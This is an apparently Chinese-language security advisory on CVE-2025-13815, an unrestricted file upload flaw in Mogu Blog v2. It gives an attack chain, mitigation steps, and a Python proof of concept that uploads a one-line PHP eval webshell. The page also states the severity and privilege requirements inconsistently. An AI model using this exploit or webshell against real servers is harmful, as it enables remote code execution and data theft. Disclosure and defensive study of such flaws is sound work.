IPBUF安全漏洞报告
English
CVE-2025-13815 CVSS 6.3 中危

CVE-2025-13815 Mogu Blog v2 无限制文件上传漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-13815
漏洞类型
无限制文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
moxi159753 Mogu Blog v2

相关标签

无限制文件上传Mogu Blog远程代码执行文件上传绕过CVE-2025-13815Web安全webshell

漏洞概述

CVE-2025-13815是moxi159753 Mogu Blog v2版本中存在的一个高危安全漏洞。该漏洞位于文件上传接口/file/pictures,攻击者可以利用此漏洞绕过文件类型限制,上传任意类型的恶意文件,包括 webshell、恶意脚本等。由于该漏洞影响版本至5.2,攻击复杂度低且无需特殊权限即可利用,远程攻击者可在不需要用户交互的情况下完成攻击。漏洞已被公开披露,厂商在收到通知后未做出任何回应。该漏洞的成功利用可能导致服务器被完全控制、敏感数据泄露或作为进一步攻击的跳板。

技术细节

该漏洞属于无限制文件上传(Unrestricted File Upload)类型。问题出现在Mogu Blog v2的文件上传功能中,具体位置为/file/pictures接口。系统在处理用户上传的文件时,未对上传文件的类型、内容和扩展名进行充分的验证和过滤。攻击者可以通过构造恶意的文件上传请求,上传包含恶意代码的文件(如PHP、JSP、ASP等webshell)。由于缺少安全检查,攻击者可以直接访问上传的文件并执行其中的恶意代码,从而实现远程代码执行。漏洞的利用不需要高权限认证,普通注册用户即可发起攻击。CVSS 3.1评分6.3(中等严重性),攻击向量为网络形式,机密性、完整性和可用性影响均为低。

攻击链分析

STEP 1
步骤1
攻击者访问Mogu Blog v2系统的/file/pictures文件上传接口
STEP 2
步骤2
构造恶意文件上传请求,绕过文件类型检查,上传包含webshell的PHP文件
STEP 3
步骤3
系统未对上传文件进行安全验证,直接保存恶意文件到服务器
STEP 4
步骤4
攻击者通过Web访问上传的恶意文件,执行任意代码
STEP 5
步骤5
获取服务器完全控制权,可进行数据窃取、横向移动等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13815 PoC - Mogu Blog v2 Unrestricted File Upload # Target: Mogu Blog v2 up to version 5.2 # Endpoint: /file/pictures TARGET_URL = "http://target.com" # Replace with target URL UPLOAD_URL = f"{TARGET_URL}/file/pictures" # Malicious file content (PHP webshell) payload = "<?php @eval($_POST['cmd']); ?>" def exploit(): files = { 'filedatas': ('shell.php', payload, 'application/x-php') } try: print(f"[*] Uploading malicious file to {UPLOAD_URL}") response = requests.post(UPLOAD_URL, files=files, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[*] Response: {response.text}") # Try to access the uploaded shell shell_path = f"{TARGET_URL}/uploads/shell.php" # Adjust path based on response print(f"[*] Shell location: {shell_path}") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit()

影响范围

Mogu Blog v2 <= 5.2

防御指南

临时缓解措施
在厂商发布修复补丁之前,可采取以下临时缓解措施:1)禁用或限制/file/pictures接口的访问;2)配置Web服务器防止上传目录中的脚本文件执行;3)使用WAF(Web应用防火墙)对文件上传功能进行安全防护;4)加强对文件上传功能的日志监控,及时发现异常上传行为;5)限制普通用户的文件上传功能权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表